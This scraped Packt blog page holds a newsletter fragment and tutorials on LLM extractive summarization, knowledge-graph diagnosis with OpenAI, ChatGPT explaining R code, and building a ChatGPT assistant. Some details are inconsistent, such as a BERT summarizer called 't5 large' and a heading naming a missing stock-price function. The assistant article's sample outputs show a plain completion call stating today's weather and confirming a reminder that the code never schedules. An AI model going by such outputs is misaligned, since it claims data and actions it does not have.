comprehensive mobile AI experience that combines on-device AI with cloud-based AI collaborations. The company introduced an upcoming feature, "AI Live Translate Call," embedded in its native phone app, offering real-time audio and text translations on the device during calls. Set to launch early next year, Galaxy AI is anticipated to debut with the Galaxy S24 lineup.  🔳 Google Expands Collaboration with Anthropic, Prioritizing AI Security and Cloud TPU v5e Accelerators: In an intensified partnership, Google announces its extended collaboration with Anthropic, focusing on elevated AI security and leveraging Cloud TPU v5e chips for AI inference. The collaboration, dating back to Anthropic's inception in 2021, highlights their joint efforts in AI safety and research. Anthropic, utilizing Google's Cloud services like GKE clusters, AlloyDB, and BigQuery, commits to Google Cloud's security services for model deployment. 🔳 Microsoft's GitHub Copilot User Base Surges to Over a Million, CEO Nadella Reports: Satya Nadella announced a substantial 40% growth in paying customers for GitHub Copilot in the September quarter, surpassing one million users across 37,000 organizations. Nadella highlights the rapid adoption of Copilot Chat, utilized by companies like Shopify, Maersk, and PWC, enhancing developers' productivity. The Bing search engine, integrated with OpenAI's ChatGPT, has facilitated over 1.9 billion chats, demonstrating a growing interest in AI-driven interactions. Microsoft's Azure revenue, including a significant contribution from AI services, exceeded expectations, reaching $24.3 billion, with the Azure business rising by 29%.  🔳 Dell and Hugging Face Join Forces to Streamline LLM Deployment: Dell and Hugging Face unveil a strategic partnership aimed at simplifying the deployment of LLMs for enterprises. With the burgeoning interest in generative AI, the collaboration seeks to address common concerns such as complexity, security, and privacy. The companies plan to establish a Dell portal on the Hugging Face platform, offering custom containers, scripts, and technical documentation for deploying open-source models on Dell servers.  🔳 OpenAI Launches Data Partnerships to Enhance AI Understanding: OpenAI introduces Data Partnerships, inviting collaborations with organizations to develop both public and private datasets for training AI models. The initiative aims to create comprehensive datasets reflecting diverse subject matters, industries, cultures, and languages, enhancing AI's understanding of the world. Two partnership options are available: Open-Source Archive for public datasets and Private Datasets for proprietary AI models, ensuring sensitivity and access controls based on partners' preferences. 🔳 Iterate Unveils AppCoder LLM for Effortless AI App Development: California-based Iterate introduces AppCoder LLM, a groundbreaking model embedded in the Interplay application development platform. This innovation allows enterprises to generate functional code for AI applications effortlessly by issuing natural language prompts. Unlike existing AI-driven coding solutions, AppCoder LLM, integrated into Iterate's platform, outperforms competitors, producing better outputs in terms of functional correctness and usefulness.  🔳 Adobe Researchers Unveil Breakthrough AI: Transform 2D Images into 3D Models in 5 Seconds: A collaborative effort between Adobe Research and Australian National University has resulted in a groundbreaking AI model capable of converting a single 2D image into a high-quality 3D model within a mere 5 seconds. The Large Reconstruction Model for Single Image to 3D (LRM) utilizes a transformer-based neural network architecture with over 500 million parameters, trained on approximately 1 million 3D objects. This innovation holds vast potential for industries like gaming, animation, industrial design, AR, and VR.  🔮 Expert Insights from Packt Community Synthetic Data for Machine Learning - By Abdulrahman Kerim Training ML models Developing an ML model usually requires performing the following essential steps: Collecting data. Annotating data. Designing an ML model. Training the model. Testing the model. These steps are depicted in the following diagram: Fig – Developing an ML model process. Now, let’s look at each of the steps in more detail to better understand how we can develop an ML model. Collecting and annotating data The first step in the process of developing an ML model is collecting the needed training data. You need to decide what training data is needed: Train using an existing dataset: In this case, there’s no need to collect training data. Thus, you can skip collecting and annotating data. However, you should make sure that your target task or domain is quite similar to the available dataset(s) you are planning to deploy. Otherwise, your model may train well on this dataset, but it will not perform well when tested on the new task or domain. Train on an existing dataset and fine-tune on a new dataset: This is the most popular case in today’s ML. You can pre-train your model on a large existing dataset and then fine-tune it on the new dataset. Regarding the new dataset, it does not need to be very large as you are already leveraging other existing dataset(s). For the dataset to be collected, you need to identify what the model needs to learn and how you are planning to implement this. After collecting the training data, you will begin the annotation process. Train from scratch on new data: In some contexts, your task or domain may be far from any available datasets. Thus, you will need to collect large-scale data. Collecting large-scale datasets is not simple. To do this, you need to identify what the model will learn and how you want it to do that. Making any modifications to the plan later may require you to recollect more data or even start the data collection process again from scratch. Following this, you need to decide what ground truth to extract, the budget, and the quality you want. This content is from the book “Synthetic Data for Machine Learning” written by Abdulrahman Kerim (Oct 2023). Start reading a free chapter or access the entire Packt digital library free for 7 days by signing up now. To learn more, click on the button below. Read through the Chapter 1 unlocked here...  🌟 Secret Knowledge: AI/LLM Resources🤖 Scaling Multimodal Understanding to Long Videos: A Comprehensive Guide: This guide provides a step-by-step explanation of the challenges associated with modeling diverse modalities like video, audio, and text. Learn about the Mirasol3B architecture, which efficiently handles longer videos, and understand the coordination between time-aligned and contextual modalities. The guide also introduces the Combiner, a learning module to effectively combine signals from video and audio information.  🤖 Mastering AI and ML Workloads: A Guide with Cloud HPC Toolkit: This post, authored by Google Cloud experts, delves into the convergence of HPC systems with AI and ML, highlighting their mutual benefits. They provide instructions on deploying clusters, utilizing preconfigured partitions, and utilizing powerful tools such as enroot and Pyxis for container integration. Discover the simplicity of deploying AI models on Google Cloud with the Cloud HPC Toolkit, fostering innovation and collaboration between HPC and AI communities. 🤖 Mastering the GPT Workflow: A Comprehensive Guide to AI Language Model: From understanding the basics of GPT's architecture and pre-training concept to unraveling the stages of the GPT workflow, including pre-training, fine-tuning, evaluation, and deployment, this guide provides a step-by-step walkthrough. Gain insights into ethical considerations, bias mitigation, and challenges associated with GPT models. Delve into future developments, including model scaling, multimodal capabilities, explainable AI enhancements, and improved context handling.  🤖 Navigating the Landscape of Hallucinations in LLMs: A Comprehensive Exploration: Delve into the intricate world of LLMs and the challenges posed by hallucinations in this in-depth blog post. Gain an understanding of the various types of hallucinations, ranging from harmless inaccuracies to potentially harmful fabrications, and their implications in real-world applications. Explore the root factors leading to hallucinations, such as overconfidence and lack of grounded reasoning, during LLM training.  🤖 Unveiling the Core Challenge in GenAI: Cornell University's Insightful Revelation: Cornell University researchers unveil a pivotal threat in GenAI, emphasizing the crucial role of "long-term memory" and the need for a vector database for contextual retrieval. Privacy issues emerge in seemingly secure solutions, shedding light on the complex challenges of handling non-numerical data in advanced AI models. 🔛 Masterclass: AI/LLM Tutorials👉 Unlocking the Power of Low-Code GPT AI Apps: A Comprehensive Guide. Explore how AINIRO.IO introduces the concept of "AI Apps" by seamlessly integrating ChatGPT with CRUD operations, enabling natural language interfaces to databases. Dive into the intricacies of creating a dynamic AI-based application without extensive coding, leveraging the Magic cloudlet to generate CRUD APIs effortlessly. Explore the significant implications of using ChatGPT for business logic in apps, offering endless possibilities for user interactions. 👉 Deploying LLMs Made Easy with ezsmdeploy 2.0 SDK: This post provides an in-depth understanding of the new capabilities, allowing users to effortlessly deploy foundation models like Llama 2, Falcon, and Stable Diffusion with just a few lines of code. The SDK automates instance selection, configuration of autoscaling, and other deployment details, streamlining the process of launching production-ready APIs. Whether deploying models from Hugging Face Hub or SageMaker Jumpstart, ezsmdeploy 2.0 reduces the coding effort required to integrate state-of-the-art models into production, making it a valuable tool for data scientists and developers. 👉 Enhancing RAG System Responses: A Practical Guide: Discover how to enhance the performance of your Retrieval-Augmented Generation (RAG) systems in generative AI applications by incorporating an interactive clarification component. This post offers a step-by-step guide on improving the quality of answers in RAG use cases where users present vague or ambiguous queries. Learn how to implement a solution using LangChain to engage in a conversational dialogue with users, prompting them for additional details to refine the context and provide accurate responses.  👉 Building Personalized ChatGPT: A Step-by-Step Guide. In this post, you'll learn how to explore OpenAI's GPT Builder, offering a beginner-friendly approach to customize ChatGPT for various applications. With the latest GPT update, users can now create personalized ChatGPT versions, even without technical expertise. The tutorial focuses on creating a customized GPT named 'EduBuddy,' designed to enhance the educational journey with tailored learning strategies and interactive features. 🚀 HackHub: Trending AI Tools💮 reworkd/tarsier: Open-source utility library for multimodal web agents, facilitating interaction with GPT-4(V) by visually tagging interactable elements on a page.  💮 recursal/ai-town-rwkv-proxy: Allows developers to locally run a large AI town using the RWKV model, a linear transformer with low inference costs. 💮 shiyoung77/ovir-3d: Enables open-vocabulary 3D instance retrieval without training on 3D data, addressing the challenge of obtaining diverse annotated 3D categories.  💮 langroid/langroid: User-friendly Python framework for building LLM-powered applications through a Multi-Agent paradigm. 💮 punica-ai/punica: Framework for Low Rank Adaptation (LoRA) to incorporate new knowledge into a pretrained LLM with minimal storage and memory impact. 
Read more
  • 0
  • 0
  • 5491

article-image-llms-for-extractive-summarization-in-nlp
Mostafa Ibrahim
20 Nov 2023
7 min read
Save for later

LLMs For Extractive Summarization in NLP

Mostafa Ibrahim
20 Nov 2023
7 min read
Dive deeper into the world of AI innovation and stay ahead of the AI curve! Subscribe to our AI_Distilled newsletter for the latest insights. Don't miss out – sign up today!SourceIntroductionIn today's era, filtering out vital information from the overwhelming volume of data has become crucial. As we navigate vast amounts of information, the significance of adept text summarization becomes clear. This process not only conserves our time but also optimizes the use of resources, ensuring we focus on what truly matters.                                                                                                              SourceIn this article, we will delve into the intricacies of text summarization, particularly focusing on the role of Large Language Models (LLMs) in the process. We'll explore their foundational principles, their capabilities in extractive summarization, and the advanced techniques they deploy. Moreover, we'll shed light on the challenges they face and the innovative solutions proposed to overcome them. Without further ado let’s dive in!What are LLMs?LLMs, standing for Large Language Models, are intricate computational structures designed for the detailed analysis and understanding of text. They fall under the realm of Natural Language Processing, a domain dedicated to enabling machines to interpret human language. One of the distinguishing features of LLMs is their vast scale, equipped with an abundance of parameters that facilitate the storage of extensive linguistic data. In the context of summarization, two primary techniques emerge: extractive and abstractive. Extractive summarization involves selecting pertinent sentences or phrases directly from the source material, whereas abstractive summarization synthesizes new sentences that encapsulate the core message in a more condensed manner. With their advanced linguistic comprehension, LLMs are instrumental in both methods, but their proficiency in extractive summarization is notably prominent.Why Utilize LLMs for Extractive Summarization?Extractive summarization entails selecting crucial sentences or phrases from a source document to compose a concise summary. Achieving this demands an intricate and thorough grasp of the document's content, especially when it pertains to extensive and multifaceted texts.The expansive architecture of LLMs, including state-of-the-art models like ChatGPT, grants them the capability to process and analyze substantial volumes of text, surpassing the limitations of smaller models like BERT which can handle only 512 tokens. This considerable size and intricate design allow LLMs to produce richer and more detailed representations of content.LLMs excel not only in recognizing the overt details but also in discerning the implicit or subtle nuances embedded within a text. Given their profound understanding, LLMs are uniquely positioned to identify and highlight the sentences or phrases that truly encapsulate the essence of any content, making them indispensable tools for high-quality extractive summarization.Techniques and Approaches with LLMsWithin the realm of Natural Language Processing (NLP), the deployment of specific techniques to distill vast texts into concise summaries is of paramount importance. One such technique is sentence scoring. In this method, each sentence in a document is assigned a quantitative value, representing its relevance and importance. LLMs, owing to their extensive architectures, can be meticulously fine-tuned to carry out this scoring with high precision, ensuring that only the most pertinent content is selected for summarization.Next, we turn our attention to the attention visualization in LLMs. This technique provides a graphical representation of the segments of text to which the model allocates the most significance during processing. For extractive summarization, this visualization serves as a crucial tool, as it offers insights into which sections of the text the model deems most relevant.Lastly, the integration of hierarchical models enhances the capabilities of LLMs further. These models approach texts in a structured manner, segmenting them into defined chunks before processing each segment for summarization. The inherent capability of LLMs to process lengthy sequences means they can operate efficiently at both the segmentation and the summarization stages, ensuring a comprehensive analysis of extended documents.Practical Implementation of Extractive Summarization Using LLMsIn this section, we offer a hands-on experience by providing a sample code snippet that utilizes a pre-trained Large Language Model known as bert for text summarization. In order to specify extractive summarization we will be using the bert-extractive-summarizer package, which is an extension of the Hugging Face Transformers library. This package provides a simple way to use BERT for extractive summarization.Step 1: Install and Import Nesseccary Libraries!pip install bert-extractive-summarizer from summarizer import SummarizerStep 2: Load the Extractive Bert Summarization ModelIn our case, the LLM of choice is the t5 large model.model = Summarizer()Step 3:  Create a Sample Text to Summarizetext = """Climate change represents one of the most significant challenges facing the world today. It is characterized by changes in weather patterns, rising global temperatures, and increasing levels of greenhouse gases in the atmosphere. The impact of climate change is far-reaching, affecting ecosystems, biodiversity, and human societies across the globe. Scientists warn that immediate action is necessary to mitigate the most severe consequences of this global phenomenon. Strategies to address climate change include reducing carbon emissions, transitioning to renewable energy sources, and conserving natural habitats. International cooperation is crucial, as the effects of climate change transcend national borders, requiring a unified global response. The Paris Agreement, signed by 196 parties at the COP 21 in Paris on 12 December 2015, is one of the most comprehensive international efforts to combat climate change, aiming to limit global warming to well below 2 degrees Celsius."""Step 4: Performing Extractive SummarizationIn this step, we'll be performing extractive summarization, explicitly instructing the model to generate a summary consisting of the two sentences deemed most significant.summary = model(text, num_sentences=2)  # You can specify the number of sentences in the summary print("Extractive Summary:") print(summary)Output for Extractive Summary: Climate change represents one of the most significant challenges facing the world today. The impact of climate change is far-reaching, affecting ecosystems, biodiversity, and human societies across the globe.Challenges and Overcoming ThemThe journey of extractive summarization using LLMs is not without its bumps. A significant challenge is redundancy. Extractive models, in their quest to capture important sentences, might pick multiple sentences conveying similar information, leading to repetitive summaries.Then there's the issue of coherency. Unlike abstractive summarization, where models generate summaries, extractive methods merely extract. The outcome might not always flow logically, hindering a reader's understanding and detracting from the quality.To combat these challenges, refined training methods can be employed. Training data can be curated to include diverse sentence structures and content, pushing the model to discern nuances and reduce redundancy. Additionally, reinforcement learning techniques can be integrated, where the model is rewarded for producing non-redundant, coherent summaries and penalized for the opposite. Over time, through continuous feedback and iterative training, LLMs can be fine-tuned to generate crisp, non-redundant, and coherent extractive summaries.ConclusionIn conclusion, the realm of text summarization, enhanced by the capabilities of Large Language Models (LLMs), presents a dynamic and evolving landscape. Throughout this article, we've journeyed through the foundational aspects of LLMs, their prowess in extractive summarization, and the methodologies and techniques they adopt.While challenges persist, the continuous advancements in the field promise innovative solutions on the horizon. As we move forward, the relationship between LLMs and text summarization will undoubtedly shape the future of how we process and understand vast data volumes efficiently.Author BioMostafa Ibrahim is a dedicated software engineer based in London, where he works in the dynamic field of Fintech. His professional journey is driven by a passion for cutting-edge technologies, particularly in the realms of machine learning and bioinformatics. When he's not immersed in coding or data analysis, Mostafa loves to travel.Medium
Read more
  • 0
  • 0
  • 14125

article-image-large-language-models-llms-and-knowledge-graphs
Mostafa Ibrahim
15 Nov 2023
7 min read
Save for later

Large Language Models (LLMs) and Knowledge Graphs

Mostafa Ibrahim
15 Nov 2023
7 min read
Dive deeper into the world of AI innovation and stay ahead of the AI curve! Subscribe to our AI_Distilled newsletter for the latest insights. Don't miss out – sign up today!IntroductionHarnessing the power of AI, this article explores how Large Language Models (LLMs) like OpenAI's GPT can analyze data from Knowledge Graphs to revolutionize data interpretation, particularly in healthcare. We'll illustrate a use case where an LLM assesses patient symptoms from a Knowledge Graph to suggest diagnoses, showcasing LLM’s potential to support medical diagnostics with precision.Brief Introduction Into Large Language Models (LLMs)Large Language Models (LLMs), such as OpenAI's GPT series, represent a significant advancement in the field of artificial intelligence. These models are trained on vast datasets of text, enabling them to understand and generate human-like language.LLMs are adept at understanding complex questions and providing appropriate responses, akin to human analysis. This capability stems from their extensive training on diverse datasets, allowing them to interpret context and generate relevant text-based answers.While LLMs possess advanced data processing capabilities, their effectiveness is often limited by the static nature of their training data. Knowledge Graphs step in to fill this gap, offering a dynamic and continuously updated source of information. This integration not only equips LLMs with the latest data, enhancing the accuracy and relevance of their output but also empowers them to solve more complex problems with a greater level of sophistication. As we harness this powerful combination, we pave the way for innovative solutions across various sectors that demand real-time intelligence, such as the ever-fluctuating stock market.Exploring Knowledge Graphs and How LLMs Can Benefit From ThemKnowledge Graphs represent a pivotal advancement in organizing and utilizing data, especially in enhancing the capabilities of Large Language Models (LLMs).Knowledge Graphs organize data in a graph format, where entities (like people, places, and things) are nodes, and the relationships between them are edges. This structure allows for a more nuanced representation of data and its interconnected nature. Take the above Knowledge Graph as an example.Doctor Node: This node represents the doctor. It is connected to the patient node with an edge labeled "Patient," indicating the doctor-patient relationship.Patient Node (Patient123): This is the central node representing a specific patient, known as "Patient123." It serves as a junction point connecting to various symptoms that the patient is experiencing.Symptom Nodes: There are three separate nodes representing individual symptoms that the patient has: "Fever," "Cough," and "Shortness of breath." Each of these symptoms is connected to the patient node by edges labeled "Symptom," indicating that these are the symptoms experienced by "Patient123.          To simplify, the Knowledge Graph shows that "Patient123" is a patient of the "Doctor" and is experiencing three symptoms: fever, cough, and shortness of breath. This type of graph is useful in medical contexts where it's essential to model the relationships between patients, their healthcare providers, and their medical conditions or symptoms. It allows for easy querying of related data—for example, finding all symptoms associated with a particular patient or identifying all patients experiencing a certain symptom.Practical Integration of LLMs and Knowledge GraphsStep 1: Installing and Importing the Necessary LibrariesIn this step, we're going to bring in two essential libraries: rdflib for constructing our Knowledge Graph and openai for tapping into the capabilities of GPT, the Large Language Model.!pip install rdflib !pip install openai==0.28 import rdflib import openaiStep 2: Import your Personal OPENAI API KEYopenai.api_key = "Insert Your Personal OpenAI API Key Here"Step 3: Creating a Knowledge Graph# Create a new and empty Knowledge graph g = rdflib.Graph() # Define a Namespace for health-related data namespace = rdflib.Namespace("http://example.org/health/")Step 4: Adding data to Our GraphIn this part of the code, we will introduce a single entry to the Knowledge Graph pertaining to patient124. This entry will consist of three distinct nodes, each representing a different symptom exhibited by the patient.def add_patient_data(patient_id, symptoms):    patient_uri = rdflib.URIRef(patient_id)      for symptom in symptoms:        symptom_predicate = namespace.hasSymptom        g.add((patient_uri, symptom_predicate, rdflib.Literal(symptom))) # Example of adding patient data add_patient_data("Patient123", ["fever", "cough", "shortness of breath"])Step 5: Identifying the get_stock_price functionWe will utilize a simple query in order to extract the required data from the knowledge graph.def get_patient_symptoms(patient_id):    # Correctly reference the patient's URI in the SPARQL query    patient_uri = rdflib.URIRef(patient_id)    sparql_query = f"""        PREFIX ex: <http://example.org/health/>        SELECT ?symptom        WHERE {{            <{patient_uri}> ex:hasSymptom ?symptom.        }}    """    query_result = g.query(sparql_query)    symptoms = [str(row.symptom) for row in query_result]    return symptomsStep 6: Identifying the generate_llm_response functionThe generate_daignosis_response function takes as input the user’s name along with the list of symptoms extracted from the graph. Moving on, the LLM uses such data in order to give the patient the most appropriate diagnosis.def generate_diagnosis_response(patient_id, symptoms):    symptoms_list = ", ".join(symptoms)    prompt = f"A patient with the following symptoms - {symptoms_list} - has been observed. Based on these symptoms, what could be a potential diagnosis?"      # Placeholder for LLM response (use the actual OpenAI API)    llm_response = openai.Completion.create(        model="text-davinci-003",        prompt=prompt,        max_tokens=100    )    return llm_response.choices[0].text.strip() # Example usage patient_id = "Patient123" symptoms = get_patient_symptoms(patient_id) if symptoms:    diagnosis = generate_diagnosis_response(patient_id, symptoms)    print(diagnosis) else:    print(f"No symptoms found for {patient_id}.")Output: The potential diagnosis could be pneumonia. Pneumonia is a type of respiratory infection that causes symptoms including fever, cough, and shortness of breath. Other potential diagnoses should be considered as well and should be discussed with a medical professional.As demonstrated, the LLM connected the three symptoms—fever, cough, and shortness of breath—to suggest that patient123 may potentially be diagnosed with pneumonia.ConclusionIn summary, the collaboration of Large Language Models and Knowledge Graphs presents a substantial advancement in the realm of data analysis. This article has provided a straightforward illustration of their potential when working in tandem, with LLMs to efficiently extract and interpret data from Knowledge Graphs.As we further develop and refine these technologies, we hold the promise of significantly improving analytical capabilities and informing more sophisticated decision-making in an increasingly data-driven world.Author BioMostafa Ibrahim is a dedicated software engineer based in London, where he works in the dynamic field of Fintech. His professional journey is driven by a passion for cutting-edge technologies, particularly in the realms of machine learning and bioinformatics. When he's not immersed in coding or data analysis, Mostafa loves to travel.Medium
Read more
  • 0
  • 0
  • 16177
Unlock access to the largest independent learning library in Tech for FREE!
Get unlimited access to 7500+ expert-authored eBooks and video courses covering every tech area you can think of.
Renews at $19.99/month. Cancel anytime
article-image-decoding-complex-code-with-chatgpt
Dan MacLean
14 Nov 2023
7 min read
Save for later

Decoding Complex Code with ChatGPT

Dan MacLean
14 Nov 2023
7 min read
Dive deeper into the world of AI innovation and stay ahead of the AI curve! Subscribe to our AI_Distilled newsletter for the latest insights. Don't miss out – sign up today!This article is an excerpt from the book, R Bioinformatics Cookbook - Second Edition, by Dan MacLean. Discover over 80 recipes for modeling and handling real-life biological data using modern libraries from the R ecosystem.IntroductionHey there, fellow code explorers! Ever found yourself staring at a chunk of complex R code, feeling lost in its jumble of symbols and functions? Well, fear not! This article dives into the exciting realm of decoding such cryptic code with the help of an unexpected ally: ChatGPT. Join me on this journey as we uncover the secrets behind intricate code snippets, aiming to demystify and explain them in plain, everyday language.Interpreting complicated code with ChatGPT assistanceChatGPT can be used to interpret R code by leveraging its natural language processing capabilities and its understanding of the R programming language. It’s important to note that while ChatGPT can assist in interpreting and explaining R code, it’s still just an AI language model and may not have knowledge of the most recent updates or specific domain-specific intricacies. Double-checking information with official documentation and consulting experienced developers or experts is always necessary. It is massively useful for simplifying and getting a good first-level understanding in most cases.In this recipe, we’ll look at how to take an arbitrary bit of complex code and explain it in plain English.Getting readyWe need some code to interpret – we’ll use a function from the besthr Github-hosted package at https://github.com/TeamMacLean/besthr/blob/master/R/functions.R and an account with ChatGPT from https://chat.openai.com/.How to do it…Here’s how to work in a ChatGPT session and get it to explain some code to you:1. Paste the following code into the ChatGPT prompt box:explain this R code to me: #' Convert named columns to factors #' #' \code{factorise_cols} returns a copy of the passed data frame in which all #' explicitly named columns are converted to factors with \ code{as.factor} #' All columns with only NA values are ommitted. #' #' @param df data frame #' @param col_list vector of quoted column names #' @keywords internal #' factorise_cols <- function(df, col_list ){ not_all_na <- function(x) any(!is.na(x)) for ( i in col_list){ df <- df %>% dplyr::mutate(!!(i) := as.factor(!!(i)) ) } df %>% dplyr::select_if(not_all_na) }2. Read the response:This R code defines a function called `factorise_cols` that converts explicitly named columns of a data frame into factors using the `as.factor` function. The function takes two parameters: 1. `df`: This is the data frame that contains the columns to be converted. 2. `col_list`: This is a vector of quoted column names. It specifies which columns in the data frame should be converted to factors. The function uses a helper function called `not_all_na` to filter out columns that have only `NA` values. This helper function checks if there are any non-NA values in a column using the `any` and `is.na` functions. Inside the main function, a loop iterates over each column name in the `col_list`. For each column, the function uses the `mutate` function from the `dplyr` package to create a new column in the data frame (`df`) with the same name, but with the values converted to factors using the `as.factor` function. The `!!(i)` syntax is used to unquote the column name. After the loop, the function uses the `select_if` function from `dplyr` to select only the columns that pass the `not_all_na` condition, effectively removing columns that contain only `NA` values. The resulting data frame is then returned as the output of the function. Overall, this function allows you to convert specific columns of a data frame into factors while excluding columns that contain only `NA` values. 3. Ask for a clarification on a certain point:You said 'The !!(i) syntax is used to unquote the column name.' Can you go into more depth?4. Read the response:Certainly! In the given code, the `!!` (bang-bang) syntax is used for unquoting the column name within the context of the `mutate` function. Let's break it down step by step: 1. In the loop, the variable `i` represents each element (column name) of the `col_list` vector. 2. Within the `mutate` function, the column name `i` needs to be unquoted and evaluated as an expression. This is necessary because `mutate` expects column names to be provided as expressions rather than strings. 3. The `!!` (bang-bang) operator is used to perform this unquoting. It is part of the tidy evaluation framework provided by the `dplyr` package. 4. By wrapping `i` with `!!`, it instructs `mutate` to evaluate `i` as an expression, resulting in an unquoted column name. Interpreting complicated code with ChatGPT assistance To illustrate with an example, suppose `col_list` contains the column names `col1` and `col2`. During the loop iteration, when `i` is `"col1"`, the line `!!(i)` would be evaluated as `!!("col1")`, which unquotes the string to yield `col1`. Similarly, when `i` is `"col2"`, `!!(i)` would be evaluated as `!!("col2")`, resulting in `col2`. This unquoting operation is necessary in this context because the `mutate` function expects column names to be provided as unevaluated expressions so that it can perform the necessary data manipulation operations. The `!!` operator allows us to achieve this unquoting within the `mutate` function call.Note that the response from ChatGPT will be somewhat different depending on context and you may not get exactly what was generated here. That is the nature of the thing, but you should get something with the same meaning.How it works…The code in this example comes from a package called besthr that creates estimation statistic plots for visual scoring data. The tool must take in arbitrary column names and work within the tidyverse, so it uses some advanced coding techniques to allow that to happen. We first go and get the codefrom the repository on GitHub (https://github.com/TeamMacLean/besthr/blob/ master/R/functions.R) and paste that into ChatGPT’s prompt box asking it for an explanation.In step 2, we can see the explanation provided (note that the one you get if you try may be different as the model is not guaranteed to reproduce its predictions). The detail is largely correct; certainly, it is sufficient to give us a clear idea of what the code attempts to do and how it does it.Some parts of the explanation aren’t clear, so in step 3, we ask for clarification of a tricky bit, again by typing into the prompt box. And in step 4, we see a more in-depth description of that part.In this way, we can get a clear and readable, plain English description of the job done by a particular piece of code very quickly.There’s more…Other sites can do this, such as Google’s Bard. ChatGPT Plus – a subscription service –also has special plug-ins that help make working with code much easier..ConclusionWho knew cracking code could be this fun and straightforward? With ChatGPT as our trusty sidekick, we've peeked behind the curtains of intricate R code, unraveling its mysteries piece by piece. Remember, while this AI wizardry is fantastic, a mix of human expertise and official documentation remains your ultimate guide through the coding labyrinth. So, armed with newfound knowledge and a reliable AI companion, let's keep exploring, learning, and demystifying the captivating world of programming together!Author BioProfessor Dan MacLean has a Ph.D. in molecular biology from the University of Cambridge and gained postdoctoral experience in genomics and bioinformatics at Stanford University in California. Dan is now Head of Bioinformatics at the world leading Sainsbury Laboratory in Norwich, UK where he works on bioinformatics, genomics, and machine learning. He teaches undergraduates, post-graduates, and post-doctoral students in data science and computational biology. His research group has developed numerous new methods and software in R, Python, and other languages with over 100,000 downloads combined.
Read more
  • 0
  • 0
  • 20185

article-image-build-virtual-personal-assistants-using-chatgpt
Sangita Mahala
13 Nov 2023
6 min read
Save for later

Build Virtual Personal Assistants Using ChatGPT

Sangita Mahala
13 Nov 2023
6 min read
Dive deeper into the world of AI innovation and stay ahead of the AI curve! Subscribe to our AI_Distilled newsletter for the latest insights. Don't miss out – sign up today!IntroductionVirtual Personal Assistants are emerging as an important aspect of the rapidly developing Artificial Intelligence landscape. These intelligent, Artificial Intelligence assistants are capable of carrying out a wide range of tasks such as answering questions and providing advice on how to make process more efficient.You're more easily getting your personal assistant built using the ChatGPT service from OpenAI. We'll explore the creation of virtual personal assistants using ChatGPT, complete with hands-on code examples and projected outputs in this advanced guide. Use ChatGPT, the world's most advanced language model created by OpenAI to create a virtual assistant that you can use.Prerequisites before we startThere are certain prerequisites that need to be met before we embark on this journey:OpenAI API Key: You must have an API key from OpenAI if you want to use ChatGPT. You'll be able to get one if you sign up at OpenAI.Python and Jupyter Notebooks: To provide more interactive learning of the development process, it is recommended that you install Python on your machine.OpenAI Python Library: To use ChatGPT, you will first need to download the OpenAI Python library. Using pip, you can install the following:pip install openaiGoogle Cloud Services (optional): If you plan to integrate with voice recognition and text-to-speech services, such as Google Cloud Speech-to-Text and Text-to-Speech, you'll need access to Google Cloud services.Building a Virtual Personal AssistantLet's have a look at the following steps for creating a Virtual Personal Assistant with ChatGPT1. Set up the environmentTo begin, we shall import the required libraries and set up an API key.import openai openai.api_key = "YOUR_OPENAI_API_KEY"2. Basic Text-Based InteractionWe're going to build an easy interaction based on text with our assistant. We will ask ChatGPT a question, and we shall receive an answer.Input code:def chat_with_gpt(prompt):    response = openai.Completion.create(        engine="davinci-codex",        prompt=prompt,        max_tokens=50  # Adjust as needed    )    return response.choices[0].text # Interact with the assistant user_input = input("You: ") response = chat_with_gpt(f"You: {user_input}\nAssistant:") print(f"Assistant: {response}")Output:You: What's the weather like today? Assistant: The weather today is sunny with a high of 25°C and a low of 15°C.We used ‘chat_with_gpt’, for interacting with ChatGPT to generate responses from user input. Users can input questions or comments and the function will send a request to ChatGPT. In the output, the assistant's answer is shown in a conversational format.Example 1: Language TranslationBy making it a language translation tool, we can improve the assistant's abilities. Users can type a word in one language and an assistant will translate it to another.Input Code:def translate_text(input_text, target_language="fr"):    response = chat_with_gpt(f"Translate the following text from English to {target_language}: {input_text}")    return response # Interact with the translation feature user_input = input("Enter the text to translate: ") target_language = input("Translate to (e.g., 'fr' for French): ") translation = translate_text(user_input, target_language) print(f"Translation: {translation}")Output:Enter the text to translate: Hello, how are you? Translate to (e.g., 'fr' for French): fr Translation: Bonjour, comment ça va?To translate English text to the target language using ChatGPT, we are defining a function, ‘translate_text’. Users input text and the target language, which is returned in translation by this function. It uses the ability of ChatGPT to process natural languages in order to carry out accurate translation.Example 2: Code GenerationThe creation of code fragments may also be assisted by our virtual assistant. It is especially useful for developers and programmers who want to quickly solve code problems.Input Code:def generate_code(question):    response = chat_with_gpt(f"Generate Python code to: {question}")    return response # Interact with the code generation feature user_input = input("You: ") generated_code = generate_code(user_input) print("Generated Python Code:") print(generated_code)Output:You: Create a function to calculate the factorial of a number. Generated Python Code: def calculate_factorial(n):    if n == 0:        return 1    else:        return n * calculate_factorial(n - 1)The user provides a question and the function sends a request to ChatGPT to generate code to answer it. In the output, a Python code is displayed.Example 3: Setting RemindersIt's even possible to make use of our Virtual Assistant as an organizer. A reminder of tasks or events can be set by users, which will be handled by an assistant.Input code:def set_reminder(task, time):    response = chat_with_gpt(f"Set a reminder: {task} at {time}.")    return response # Interact with the reminder feature task = input("Task: ") time = input("Time (e.g., 3:00 PM): ") reminder_response = set_reminder(task, time) print(f"Assistant: {reminder_response}")Output:Task: Meeting with the client Time (e.g., 3:00 PM): 2:30 PM Assistant: Reminder set: Meeting with the client at 2:30 PM.The code defines a function, ‘set_reminder’, which can be used to generate reminders based on the task and time. Users input their tasks and time, and the function requests a reminder to be sent to ChatGPT. The output will be printed with the assistant's answer and confirmation of this reminder.ConclusionIn conclusion, we got to know the evolution of Virtual Personal Assistant using ChatGPT throughout this advanced guide. We've started with a basic text-based interaction, followed by three advanced examples: language translation, code generation, and setting reminders. There is no limit to the potential of Virtual Personal Assistants.Integrating your assistant into various APIs, enhancing the ability to understand languages and making it useful for a variety of tasks will allow you to further expand its capabilities. Creating a tailored virtual assistant is now even easier to create and adapted to your individual needs, given the advancement of AI technologies.Author BioSangita Mahala is a passionate IT professional with an outstanding track record, having an impressive array of certifications, including 12x Microsoft, 11x GCP, 2x Oracle, and LinkedIn Marketing Insider Certified. She is a Google Crowdsource Influencer and IBM champion learner gold. She also possesses extensive experience as a technical content writer and accomplished book blogger. She is always Committed to staying with emerging trends and technologies in the IT sector.
Read more
  • 0
  • 0
  • 17019

article-image-ai-distilled-25-openais-gpt-store-and-gpt-4-turbo-xais-grok-stability-ais-3d-model-generator-microsofts-phi-15-gen-ai-powered-vector-search-apps
Merlyn Shelley
